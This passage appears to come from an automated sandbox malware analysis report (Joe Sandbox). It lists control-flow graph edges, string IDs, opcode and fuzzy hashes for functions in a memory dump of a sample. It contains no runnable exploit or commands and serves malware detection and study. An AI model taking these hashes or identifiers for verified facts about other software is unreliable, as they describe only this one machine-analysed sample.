4497->4486 4497->4487 4497->4488 4497->4489 4497->4490 4499->4450 4514 58735d0-58735d7 4499->4514 4515 58735da 4500->4515 4502->4457 4518 58736f3 4503->4518 4504->4518 4505->4456 4508->4502 4509->4443 4509->4505 4519 58738a9-587390e 4511->4519 4522 5873895-58738a2 4512->4522 4523 5873890-5873893 4512->4523 4514->4515 4515->4469 4565 5873784-5873786 4516->4565 4518->4516 4566 5873914-587392d 4519->4566 4528 58738a4 4522->4528 4523->4528 4527->4432 4528->4519 4553 5873982-5873984 4538->4553 4540 5873967-5873969 4539->4540 4541 5873965 4539->4541 4540->4538 4541->4538 4542 587386a-587386c call 587bf3f 4550 5873872-587387a 4542->4550 4549->4432 4550->4457 4553->4457 4559->4485 4563 5873827-5873829 4560->4563 4564 5873825 4560->4564 4563->4559 4564->4559 4567 587379e-58737a6 4565->4567 4568 5873788-587378e 4565->4568 4566->4508 4572 5873933-587393f 4566->4572 4567->4457 4569 5873792-5873794 4568->4569 4570 5873790 4568->4570 4569->4567 4570->4567 4572->4457 4573->4542 4574->4542 4575->4542 4576->4542 4577->4542 4578->4542 4579->4542 4580->4542
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq$Teq$Teq$Teq$Teq$Teq$$q$$q$$q$$q
                                  • API String ID: 0-1322018499
                                  • Opcode ID: af69d496b73281c9697f339a657f38ccee3e4fe27427bca42a132f25a53d2a11
                                  • Instruction ID: 1f56e4d8bcf1ea43817a7f8ecd37df9bad14c57dca73e42b31df8eea4ec6f1b4
                                  • Opcode Fuzzy Hash: af69d496b73281c9697f339a657f38ccee3e4fe27427bca42a132f25a53d2a11
                                  • Instruction Fuzzy Hash: 92F1A334F0020C9FDB149B68D819BBE7AA3BB84705F148925E906EB384CF74DC42AB56
                                  Function 05874C9F Relevance: 12.7, Strings: 10, Instructions: 247COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4584 5874c9f-5874ca4 4585 5874cc7 4584->4585 4586 5874ca6-5874caf 4584->4586 4587 5874cca-5874cd4 4585->4587 4588 5874cb6-5874cc3 4586->4588 4589 5874cb1-5874cb4 4586->4589 4592 5874cdf-5874cf3 call 5875dee 4587->4592 4590 5874cc5 4588->4590 4589->4590 4590->4587 4593 5874cf9-5874d03 4592->4593 4594 5874f92-5874f97 4593->4594 4595 5874d09-5874d15 4593->4595 4596 5874c2e-5874c31 4595->4596 4597 5874c43-5874c47 4596->4597 4598 5874c33 4596->4598 4611 5874c6a 4597->4611 4612 5874c49-5874c52 4597->4612 4598->4597 4600 5874ee7-5874f11 4598->4600 4601 5874d77-5874d7a 4598->4601 4602 5874e67-5874e69 4598->4602 4603 5874e23-5874e2b 4598->4603 4604 5874e30-5874e43 4598->4604 4605 5874f5f-5874f68 4598->4605 4606 5874e6e-5874e81 4598->4606 4607 5874dab-5874dbe 4598->4607 4608 5874d1a-5874d2d 4598->4608 4609 5874e19-5874e1e 4598->4609 4610 5874f48-5874f5c 4598->4610 4659 5874f13-5874f1a 4600->4659 4660 5874f2a-5874f31 4600->4660 4621 5874d84-5874d90 4601->4621 4602->4596 4603->4596 4635 5874e45-5874e4c 4604->4635 4636 5874e60-5874e65 4604->4636 4605->4594 4614 5874f6a-5874f81 4605->4614 4630 5874ea4 4606->4630 4631 5874e83-5874e8c 4606->4631 4607->4594 4632 5874dc4-5874dd9 4607->4632 4633 5874d43 4608->4633 4634 5874d2f-5874d41 4608->4634 4609->4596 4613 5874c6d-5874c6f 4611->4613 4615 5874c54-5874c57 4612->4615 4616 5874c59-5874c66 4612->4616 4617 5874c87-5874c9e 4613->4617 4618 5874c71-5874c77 4613->4618 4614->4594 4622 5874f83-5874f8f 4614->4622 4627 5874c68 4615->4627 4616->4627 4617->4584 4628 5874c7b-5874c85 4618->4628 4629 5874c79 4618->4629 4641 5874d9b-5874da6 4621->4641 4627->4613 4628->4617 4629->4617 4643 5874ea7-5874eb3 4630->4643 4639 5874e93-5874ea0 4631->4639 4640 5874e8e-5874e91 4631->4640 4653 5874deb 4632->4653 4654 5874ddb-5874de9 4632->4654 4645 5874d46-5874d72 4633->4645 4634->4645 4635->4594 4646 5874e52-5874e56 4635->4646 4638 5874e5b 4636->4638 4638->4596 4648 5874ea2 4639->4648 4640->4648 4641->4596 4656 5874eb5-5874ebb 4643->4656 4657 5874ecb-5874ed5 4643->4657 4645->4596 4646->4638 4648->4643 4658 5874ded-5874def 4653->4658 4654->4658 4663 5874ebf-5874ec1 4656->4663 4664 5874ebd 4656->4664 4657->4594 4667 5874edb-5874ee2 4657->4667 4665 5874df1-5874df7 4658->4665 4666 5874e09-5874e12 4658->4666 4659->4594 4668 5874f1c-5874f20 4659->4668 4660->4594 4661 5874f33-5874f3e 4660->4661 4661->4594 4669 5874f40-5874f46 4661->4669 4663->4657 4664->4657 4670 5874dfb-5874e07 4665->4670 4671 5874df9 4665->4671 4666->4609 4667->4596 4672 5874f25 4668->4672 4669->4672 4670->4666 4671->4666 4672->4596
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq$Teq$XXq$XXq$$q$$q$$q$$q$$q$$q
                                  • API String ID: 0-2030242912
                                  • Opcode ID: bad45acfbbcfc6edafc9b513931c7cdab2a59d45e69204646f2764ed47181348
                                  • Instruction ID: d4f472945b192527f3e1f461111f8dd54630f21ee1fcb1c7ea6d1235a4181ece
                                  • Opcode Fuzzy Hash: bad45acfbbcfc6edafc9b513931c7cdab2a59d45e69204646f2764ed47181348
                                  • Instruction Fuzzy Hash: 6BA18B30F0421DCFDB24CB98D945AADBBB3BB84714F298916E852EB3A5CA30DC41CB51
                                  Function 05874C42 Relevance: 10.2, Strings: 8, Instructions: 223COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4675 5874c42 4676 5874c43-5874c47 4675->4676 4677 5874c6a 4676->4677 4678 5874c49-5874c52 4676->4678 4679 5874c6d-5874c6f 4677->4679 4680 5874c54-5874c57 4678->4680 4681 5874c59-5874c66 4678->4681 4682 5874c87-5874ca4 4679->4682 4683 5874c71-5874c77 4679->4683 4684 5874c68 4680->4684 4681->4684 4691 5874cc7 4682->4691 4692 5874ca6-5874caf 4682->4692 4685 5874c7b-5874c85 4683->4685 4686 5874c79 4683->4686 4684->4679 4685->4682 4686->4682 4693 5874cca-5874d03 call 5875dee 4691->4693 4694 5874cb6-5874cc3 4692->4694 4695 5874cb1-5874cb4 4692->4695 4700 5874f92-5874f97 4693->4700 4701 5874d09-5874d15 4693->4701 4696 5874cc5 4694->4696 4695->4696 4696->4693 4702 5874c2e-5874c31 4701->4702 4702->4676 4703 5874c33 4702->4703 4703->4676 4705 5874ee7-5874f11 4703->4705 4706 5874d77-5874d90 4703->4706 4707 5874e67-5874e69 4703->4707 4708 5874e23-5874e2b 4703->4708 4709 5874e30-5874e43 4703->4709 4710 5874f5f-5874f68 4703->4710 4711 5874e6e-5874e81 4703->4711 4712 5874dab-5874dbe 4703->4712 4713 5874d1a-5874d2d 4703->4713 4714 5874e19-5874e1e 4703->4714 4715 5874f48-5874f5c 4703->4715 4749 5874f13-5874f1a 4705->4749 4750 5874f2a-5874f31 4705->4750 4735 5874d9b-5874da6 4706->4735 4707->4702 4708->4702 4730 5874e45-5874e4c 4709->4730 4731 5874e60-5874e65 4709->4731 4710->4700 4716 5874f6a-5874f81 4710->4716 4725 5874ea4 4711->4725 4726 5874e83-5874e8c 4711->4726 4712->4700 4727 5874dc4-5874dd9 4712->4727 4728 5874d43 4713->4728 4729 5874d2f-5874d41 4713->4729 4714->4702 4716->4700 4721 5874f83-5874f8f 4716->4721 4737 5874ea7-5874eb3 4725->4737 4733 5874e93-5874ea0 4726->4733 4734 5874e8e-5874e91 4726->4734 4746 5874deb 4727->4746 4747 5874ddb-5874de9 4727->4747 4738 5874d46-5874d72 4728->4738 4729->4738 4730->4700 4739 5874e52-5874e56 4730->4739 4732 5874e5b 4731->4732 4732->4702 4740 5874ea2 4733->4740 4734->4740 4735->4702 4751 5874eb5-5874ebb 4737->4751 4752 5874ecb-5874ed5 4737->4752 4738->4702 4739->4732 4740->4737 4748 5874ded-5874def 4746->4748 4747->4748 4756 5874df1-5874df7 4748->4756 4757 5874e09-5874e12 4748->4757 4749->4700 4760 5874f1c-5874f20 4749->4760 4750->4700 4753 5874f33-5874f3e 4750->4753 4754 5874ebf-5874ec1 4751->4754 4755 5874ebd 4751->4755 4752->4700 4759 5874edb-5874ee2 4752->4759 4753->4700 4761 5874f40-5874f46 4753->4761 4754->4752 4755->4752 4762 5874dfb-5874e07 4756->4762 4763 5874df9 4756->4763 4757->4714 4759->4702 4764 5874f25 4760->4764 4761->4764 4762->4757 4763->4757 4764->4702
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq$XXq$XXq$XXq$$q$$q$$q$$q
                                  • API String ID: 0-4129506608
                                  • Opcode ID: 088b70607edd17041744d55c1139a5ccff4d7cc63a8b7aff1baa3375c4a8c841
                                  • Instruction ID: 350aab7d6651e5e996d0a6c3c9dd9b4490e1c64477928eb1f2b97bd029f9751b
                                  • Opcode Fuzzy Hash: 088b70607edd17041744d55c1139a5ccff4d7cc63a8b7aff1baa3375c4a8c841
                                  • Instruction Fuzzy Hash: 1781AE31E0421CCFDF14CB94D941ABDBBB2FB80725F298966E812EB2A5CA30DC41CB41
                                  Function 05874C29 Relevance: 7.7, Strings: 6, Instructions: 206COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4767 5874c29 4768 5874c2e-5874c31 4767->4768 4769 5874c43-5874c47 4768->4769 4770 5874c33 4768->4770 4782 5874c6a 4769->4782 4783 5874c49-5874c52 4769->4783 4770->4769 4771 5874ee7-5874f11 4770->4771 4772 5874d77-5874d90 4770->4772 4773 5874e67-5874e69 4770->4773 4774 5874e23-5874e2b 4770->4774 4775 5874e30-5874e43 4770->4775 4776 5874f5f-5874f68 4770->4776 4777 5874e6e-5874e81 4770->4777 4778 5874dab-5874dbe 4770->4778 4779 5874d1a-5874d2d 4770->4779 4780 5874e19-5874e1e 4770->4780 4781 5874f48-5874f5c 4770->4781 4838 5874f13-5874f1a 4771->4838 4839 5874f2a-5874f31 4771->4839 4814 5874d9b-5874da6 4772->4814 4773->4768 4774->4768 4808 5874e45-5874e4c 4775->4808 4809 5874e60-5874e65 4775->4809 4785 5874f92-5874f97 4776->4785 4786 5874f6a-5874f81 4776->4786 4802 5874ea4 4777->4802 4803 5874e83-5874e8c 4777->4803 4778->4785 4805 5874dc4-5874dd9 4778->4805 4806 5874d43 4779->4806 4807 5874d2f-5874d41 4779->4807 4780->4768 4784 5874c6d-5874c6f 4782->4784 4787 5874c54-5874c57 4783->4787 4788 5874c59-5874c66 4783->4788 4789 5874c87-5874ca4 4784->4789 4790 5874c71-5874c77 4784->4790 4786->4785 4794 5874f83-5874f8f 4786->4794 4799 5874c68 4787->4799 4788->4799 4826 5874cc7 4789->4826 4827 5874ca6-5874caf 4789->4827 4800 5874c7b-5874c85 4790->4800 4801 5874c79 4790->4801 4799->4784 4800->4789 4801->4789 4816 5874ea7-5874eb3 4802->4816 4812 5874e93-5874ea0 4803->4812 4813 5874e8e-5874e91 4803->4813 4829 5874deb 4805->4829 4830 5874ddb-5874de9 4805->4830 4818 5874d46-5874d72 4806->4818 4807->4818 4808->4785 4819 5874e52-5874e56 4808->4819 4811 5874e5b 4809->4811 4811->4768 4821 5874ea2 4812->4821 4813->4821 4814->4768 4834 5874eb5-5874ebb 4816->4834 4835 5874ecb-5874ed5 4816->4835 4818->4768 4819->4811 4821->4816 4837 5874cca-5874cf3 call 5875dee 4826->4837 4832 5874cb6-5874cc3 4827->4832 4833 5874cb1-5874cb4 4827->4833 4836 5874ded-5874def 4829->4836 4830->4836 4842 5874cc5 4832->4842 4833->4842 4843 5874ebf-5874ec1 4834->4843 4844 5874ebd 4834->4844 4835->4785 4847 5874edb-5874ee2 4835->4847 4845 5874df1-5874df7 4836->4845 4846 5874e09-5874e12 4836->4846 4856 5874cf9-5874d03 4837->4856 4838->4785 4848 5874f1c-5874f20 4838->4848 4839->4785 4840 5874f33-5874f3e 4839->4840 4840->4785 4849 5874f40-5874f46 4840->4849 4842->4837 4843->4835 4844->4835 4851 5874dfb-5874e07 4845->4851 4852 5874df9 4845->4852 4846->4780 4847->4768 4854 5874f25 4848->4854 4849->4854 4851->4846 4852->4846 4854->4768 4856->4785 4857 5874d09-5874d15 4856->4857 4857->4768
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq$XXq$$q$$q$$q$$q
                                  • API String ID: 0-2757495577
                                  • Opcode ID: ba847a20502a009806c97f6407e597cbc93fcc3c799fcfaa14a69e455d5a2609
                                  • Instruction ID: 8fced23c6079327978bca4665c920460b7a940fa6d6ce7f0348fd33e810b72c0
                                  • Opcode Fuzzy Hash: ba847a20502a009806c97f6407e597cbc93fcc3c799fcfaa14a69e455d5a2609
                                  • Instruction Fuzzy Hash: E7817C31E0421CDFDF14CB98D945AADBBB3FB80725F298916E952EB2A5CA70DC41CB41
                                  Function 05878AD0 Relevance: 7.7, Strings: 6, Instructions: 201COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4859 5878ad0-5878b00 4860 5878b22-5878b27 4859->4860 4861 5878b02-5878b05 4859->4861 4860->4861 4862 5878b07 4861->4862 4863 5878b0e-5878b20 4861->4863 4862->4860 4862->4863 4864 5878b45-5878b48 4862->4864 4865 5878ca3-5878ca5 4862->4865 4866 5878c2f-5878c33 4862->4866 4867 5878d0f-5878d14 4862->4867 4868 5878b6e-5878b70 4862->4868 4869 5878bed-5878bf2 4862->4869 4870 5878b29 4862->4870 4871 5878bf7-5878c0d 4862->4871 4872 5878d74-5878d7d 4862->4872 4873 5878c5f-5878c69 4862->4873 4874 5878c7e-5878c85 4862->4874 4875 5878b3e-5878b43 4862->4875 4876 5878b9a-5878ba1 4862->4876 4877 5878d19-5878d3f 4862->4877 4878 5878c99-5878c9e 4862->4878 4879 5878cf8-5878cfc 4862->4879 4880 5878bb8-5878bc2 4862->4880 4863->4861 4881 5878b4e-5878b58 4864->4881 4882 5878d8c 4864->4882 4883 5878ca7-5878cad 4865->4883 4884 5878cc3 4865->4884 4892 5878c35-5878c3e 4866->4892 4893 5878c54 4866->4893 4867->4861 4885 5878b72-5878b78 4868->4885 4886 5878b8e 4868->4886 4869->4861 4896 5878b2c-5878b2e 4870->4896 4871->4896 4922 5878c13-5878c1d 4871->4922 4872->4882 4894 5878d7f-5878d87 4872->4894 4890 5878d91-5878d9a 4873->4890 4897 5878c6f-5878c79 4873->4897 4874->4890 4898 5878c8b-5878c94 4874->4898 4875->4861 4889 5878ba7-5878bb3 4876->4889 4876->4890 4929 5878d44-5878d4e 4877->4929 4930 5878d41 4877->4930 4878->4861 4887 5878cfe 4879->4887 4888 5878d08-5878d0d 4879->4888 4880->4890 4891 5878bc8-5878bd9 4880->4891 4881->4890 4899 5878b5e-5878b67 4881->4899 4882->4890 4900 5878cb3-5878cbf 4883->4900 4901 5878caf-5878cb1 4883->4901 4909 5878cc5-5878ce4 4884->4909 4902 5878b7e-5878b8a 4885->4902 4903 5878b7a-5878b7c 4885->4903 4910 5878b90-5878b94 call 5879399 4886->4910 4904 5878d03 4887->4904 4888->4867 4888->4904 4889->4861 4891->4890 4907 5878bdf-5878be8 4891->4907 4911 5878c45-5878c48 4892->4911 4912 5878c40-5878c43 4892->4912 4905 5878c57-5878c5e 4893->4905 4894->4861 4913 5878b37-5878b3c 4896->4913 4914 5878b30 4896->4914 4897->4861 4898->4861 4915 5878b6c 4899->4915 4916 5878b69 4899->4916 4917 5878cc1 4900->4917 4901->4917 4918 5878b8c 4902->4918 4903->4918 4904->4861 4907->4861 4909->4890 4928 5878cea-5878cf3 4909->4928 4910->4876 4919 5878c52 4911->4919 4912->4919 4913->4875 4920 5878b35 4913->4920 4914->4920 4915->4861 4916->4915 4917->4909 4918->4910 4919->4905 4920->4861 4922->4890 4925 5878c23-5878c2a 4922->4925 4925->4861 4928->4861 4931 5878d54 4929->4931 4932 5878d50-5878d52 4929->4932 4930->4929 4933 5878d57-5878d69 4931->4933 4932->4933 4933->4890 4935 5878d6b-5878d6f 4933->4935 4935->4861
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LRq$LRq$LRq$LRq$$q$$q
                                  • API String ID: 0-108259318
                                  • Opcode ID: 27c3fffeee3f5ade1056488df791b5fd051930c494a74b2e393e18b10c501602
                                  • Instruction ID: f694e23526a9c9b97779f96b09fb6a2fbe6199ed9eea22a991512e2ca3c84c76
                                  • Opcode Fuzzy Hash: 27c3fffeee3f5ade1056488df791b5fd051930c494a74b2e393e18b10c501602
                                  • Instruction Fuzzy Hash: 1D7176B1A0821CCFEB15CA68C849BBDBBF2FB54204F188166E966EB291C734DD45CF50
                                  Function 05878AC0 Relevance: 3.9, Strings: 3, Instructions: 179COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4937 5878ac0-5878b00 4939 5878b22-5878b27 4937->4939 4940 5878b02-5878b05 4939->4940 4941 5878b07 4940->4941 4942 5878b0e-5878b20 4940->4942 4941->4939 4941->4942 4943 5878b45-5878b48 4941->4943 4944 5878ca3-5878ca5 4941->4944 4945 5878c2f-5878c33 4941->4945 4946 5878d0f-5878d14 4941->4946 4947 5878b6e-5878b70 4941->4947 4948 5878bed-5878bf2 4941->4948 4949 5878b29 4941->4949 4950 5878bf7-5878c0d 4941->4950 4951 5878d74-5878d7d 4941->4951 4952 5878c5f-5878c69 4941->4952 4953 5878c7e-5878c85 4941->4953 4954 5878b3e-5878b43 4941->4954 4955 5878b9a-5878ba1 4941->4955 4956 5878d19-5878d3f 4941->4956 4957 5878c99-5878c9e 4941->4957 4958 5878cf8-5878cfc 4941->4958 4959 5878bb8-5878bc2 4941->4959 4942->4940 4960 5878b4e-5878b58 4943->4960 4961 5878d8c 4943->4961 4962 5878ca7-5878cad 4944->4962 4963 5878cc3 4944->4963 4971 5878c35-5878c3e 4945->4971 4972 5878c54 4945->4972 4946->4940 4964 5878b72-5878b78 4947->4964 4965 5878b8e 4947->4965 4948->4940 4975 5878b2c-5878b2e 4949->4975 4950->4975 5001 5878c13-5878c1d 4950->5001 4951->4961 4973 5878d7f-5878d87 4951->4973 4969 5878d91-5878d9a 4952->4969 4976 5878c6f-5878c79 4952->4976 4953->4969 4977 5878c8b-5878c94 4953->4977 4954->4940 4968 5878ba7-5878bb3 4955->4968 4955->4969 5008 5878d44-5878d4e 4956->5008 5009 5878d41 4956->5009 4957->4940 4966 5878cfe 4958->4966 4967 5878d08-5878d0d 4958->4967 4959->4969 4970 5878bc8-5878bd9 4959->4970 4960->4969 4978 5878b5e-5878b67 4960->4978 4961->4969 4979 5878cb3-5878cbf 4962->4979 4980 5878caf-5878cb1 4962->4980 4988 5878cc5-5878ce4 4963->4988 4981 5878b7e-5878b8a 4964->4981 4982 5878b7a-5878b7c 4964->4982 4989 5878b90-5878b94 call 5879399 4965->4989 4983 5878d03 4966->4983 4967->4946 4967->4983 4968->4940 4970->4969 4986 5878bdf-5878be8 4970->4986 4990 5878c45-5878c48 4971->4990 4991 5878c40-5878c43 4971->4991 4984 5878c57-5878c5e 4972->4984 4973->4940 4992 5878b37-5878b3c 4975->4992 4993 5878b30 4975->4993 4976->4940 4977->4940 4994 5878b6c 4978->4994 4995 5878b69 4978->4995 4996 5878cc1 4979->4996 4980->4996 4997 5878b8c 4981->4997 4982->4997 4983->4940 4986->4940 4988->4969 5007 5878cea-5878cf3 4988->5007 4989->4955 4998 5878c52 4990->4998 4991->4998 4992->4954 4999 5878b35 4992->4999 4993->4999 4994->4940 4995->4994 4996->4988 4997->4989 4998->4984 4999->4940 5001->4969 5004 5878c23-5878c2a 5001->5004 5004->4940 5007->4940 5010 5878d54 5008->5010 5011 5878d50-5878d52 5008->5011 5009->5008 5012 5878d57-5878d69 5010->5012 5011->5012 5012->4969 5014 5878d6b-5878d6f 5012->5014 5014->4940
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LRq$LRq$$q
                                  • API String ID: 0-3129049701
                                  • Opcode ID: 9fe5e2ef774e935b8fdbd3acaf113992abb349e6b3a04421ee8cfbd64d09a721
                                  • Instruction ID: 5cb18f6cfcb59a34451bdfb1bf9c68f17e532612cde330307f46378addbcd052
                                  • Opcode Fuzzy Hash: 9fe5e2ef774e935b8fdbd3acaf113992abb349e6b3a04421ee8cfbd64d09a721
                                  • Instruction Fuzzy Hash: 4E6155B1A0921CCFEB11CB68C449BBDBBB2FB54205F188166E966EB291C738DD45CF50
                                  Function 0587361C Relevance: 2.7, Strings: 2, Instructions: 211COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 5082 587361c-587363a 5086 587363f-5873642 5082->5086 5087 5873644 5086->5087 5088 587364b-587365a 5086->5088 5087->5088 5089 5873836-587383b 5087->5089 5090 58736a5-58736aa 5087->5090 5091 5873675-5873679 5087->5091 5092 5873944-587395b 5087->5092 5093 5873840-587385f 5087->5093 5094 587387f-5873883 5087->5094 5095 58736ce-58736d2 5087->5095 5096 58736ac 5087->5096 5097 58737ab-587381b 5087->5097 5098 5873989-5873990 5087->5098 5112 5873663-587366a 5088->5112 5113 587365c 5088->5113 5106 58736b9-58736bc 5089->5106 5090->5086 5104 587369c 5091->5104 5105 587367b-5873684 5091->5105 5138 5873973-587397b call 587cef8 5092->5138 5139 587395d-5873963 5092->5139 5175 5873864 call 587a4a4 5093->5175 5176 5873864 call 587a4b4 5093->5176 5177 5873864 call 587a4c4 5093->5177 5178 5873864 call 587b590 5093->5178 5179 5873864 call 587a438 5093->5179 5180 5873864 call 587b5d8 5093->5180 5181 5873864 call 587b548 5093->5181 5182 5873864 call 587b558 5093->5182 5099 58738a6 5094->5099 5100 5873885-587388e 5094->5100 5101 58736f5 5095->5101 5102 58736d4-58736dd 5095->5102 5096->5106 5158 5873833 5097->5158 5159 587381d-5873823 5097->5159 5115 58738a9-587390e 5099->5115 5108 5873895-58738a2 5100->5108 5109 5873890-5873893 5100->5109 5121 58736f8-587377e call 5878995 5101->5121 5110 58736e4-58736f1 5102->5110 5111 58736df-58736e2 5102->5111 5114 587369f 5104->5114 5116 5873686-5873689 5105->5116 5117 587368b-5873698 5105->5117 5106->5095 5107 58736be 5106->5107 5107->5089 5107->5092 5107->5093 5107->5094 5107->5095 5107->5097 5107->5098 5122 58736c5-58736cc 5107->5122 5128 58738a4 5108->5128 5109->5128 5123 58736f3 5110->5123 5111->5123 5126 58736af 5112->5126 5127 587366c-5873673 5112->5127 5124 5873661 5113->5124 5114->5090 5164 5873914-587392d 5115->5164 5125 587369a 5116->5125 5117->5125 5165 5873784-5873786 5121->5165 5129 58736b4 5122->5129 5123->5121 5124->5086 5125->5114 5126->5129 5127->5091 5127->5124 5128->5115 5129->5106 5151 5873982-5873984 5138->5151 5141 5873967-5873969 5139->5141 5142 5873965 5139->5142 5141->5138 5142->5138 5143 587386a-587386c call 587bf3f 5149 5873872-587387a 5143->5149 5149->5106 5151->5106 5158->5089 5161 5873827-5873829 5159->5161 5162 5873825 5159->5162 5161->5158 5162->5158 5164->5126 5171 5873933-587393f 5164->5171 5166 587379e-58737a6 5165->5166 5167 5873788-587378e 5165->5167 5166->5106 5169 5873792-5873794 5167->5169 5170 5873790 5167->5170 5169->5166 5170->5166 5171->5106 5175->5143 5176->5143 5177->5143 5178->5143 5179->5143 5180->5143 5181->5143 5182->5143
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $q$$q
                                  • API String ID: 0-3126353813
                                  • Opcode ID: e25c2d7fdf480d62e1185aa5991f98409db5f9c7f32eda0235370ba81bbb19b6
                                  • Instruction ID: 934751cf2a3edee86be6e82baa23cebaaa0448de58b20ff03d24c52820421fb2
                                  • Opcode Fuzzy Hash: e25c2d7fdf480d62e1185aa5991f98409db5f9c7f32eda0235370ba81bbb19b6
                                  • Instruction Fuzzy Hash: 70716D34B0420CDFDB249A64D81ABAD7AA3FB84714F148865FD06EB384CE75DC41AB96
                                  Function 058736C5 Relevance: 2.7, Strings: 2, Instructions: 183COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 5183 58736c5-58736cc 5184 58736b4 5183->5184 5185 58736b9-58736bc 5184->5185 5186 58736ce-58736d2 5185->5186 5187 58736be 5185->5187 5194 58736f5 5186->5194 5195 58736d4-58736dd 5186->5195 5187->5183 5187->5186 5188 5873836-587383b 5187->5188 5189 5873944-587395b 5187->5189 5190 5873840-5873843 5187->5190 5191 587387f-5873883 5187->5191 5192 58737ab-587381b 5187->5192 5193 5873989-5873990 5187->5193 5188->5185 5217 5873973-587397b call 587cef8 5189->5217 5218 587395d-5873963 5189->5218 5207 587384c-587384e 5190->5207 5196 58738a6 5191->5196 5197 5873885-587388e 5191->5197 5237 5873833 5192->5237 5238 587381d-5873823 5192->5238 5200 58736f8-5873702 5194->5200 5198 58736e4-58736f1 5195->5198 5199 58736df-58736e2 5195->5199 5203 58738a9-58738f6 5196->5203 5201 5873895-58738a2 5197->5201 5202 5873890-5873893 5197->5202 5204 58736f3 5198->5204 5199->5204 5209 587370d-5873762 5200->5209 5208 58738a4 5201->5208 5202->5208 5239 5873900-587390e 5203->5239 5204->5200 5215 5873858-587385f 5207->5215 5208->5203 5236 5873769-587377e call 5878995 5209->5236 5251 5873864 call 587a4a4 5215->5251 5252 5873864 call 587a4b4 5215->5252 5253 5873864 call 587a4c4 5215->5253 5254 5873864 call 587b590 5215->5254 5255 5873864 call 587a438 5215->5255 5256 5873864 call 587b5d8 5215->5256 5257 5873864 call 587b548 5215->5257 5258 5873864 call 587b558 5215->5258 5229 5873982-5873984 5217->5229 5221 5873967-5873969 5218->5221 5222 5873965 5218->5222 5219 587386a-587386c call 587bf3f 5227 5873872-587387a 5219->5227 5221->5217 5222->5217 5227->5185 5229->5185 5242 5873784-5873786 5236->5242 5237->5188 5240 5873827-5873829 5238->5240 5241 5873825 5238->5241 5243 5873914-587392d 5239->5243 5240->5237 5241->5237 5244 587379e-58737a6 5242->5244 5245 5873788-587378e 5242->5245 5249 5873933-587393f 5243->5249 5250 58736af 5243->5250 5244->5185 5246 5873792-5873794 5245->5246 5247 5873790 5245->5247 5246->5244 5247->5244 5249->5185 5250->5184 5251->5219 5252->5219 5253->5219 5254->5219 5255->5219 5256->5219 5257->5219 5258->5219
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $q$$q
                                  • API String ID: 0-3126353813
                                  • Opcode ID: 74269bbfae1e3df05127e2e95b5b5e989f1f1e858949e104243f732ecb2174c7
                                  • Instruction ID: 3926d7a60cf48e2ef773852d0ee96e6a208043f90436a5877e18a5ede6726ba5
                                  • Opcode Fuzzy Hash: 74269bbfae1e3df05127e2e95b5b5e989f1f1e858949e104243f732ecb2174c7
                                  • Instruction Fuzzy Hash: EC618034B0020C9FDB249B64D81ABAD7AA3FB84714F148865FD06EB384CE75DC41EB96
                                  Function 05877608 Relevance: 1.4, Strings: 1, Instructions: 182COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
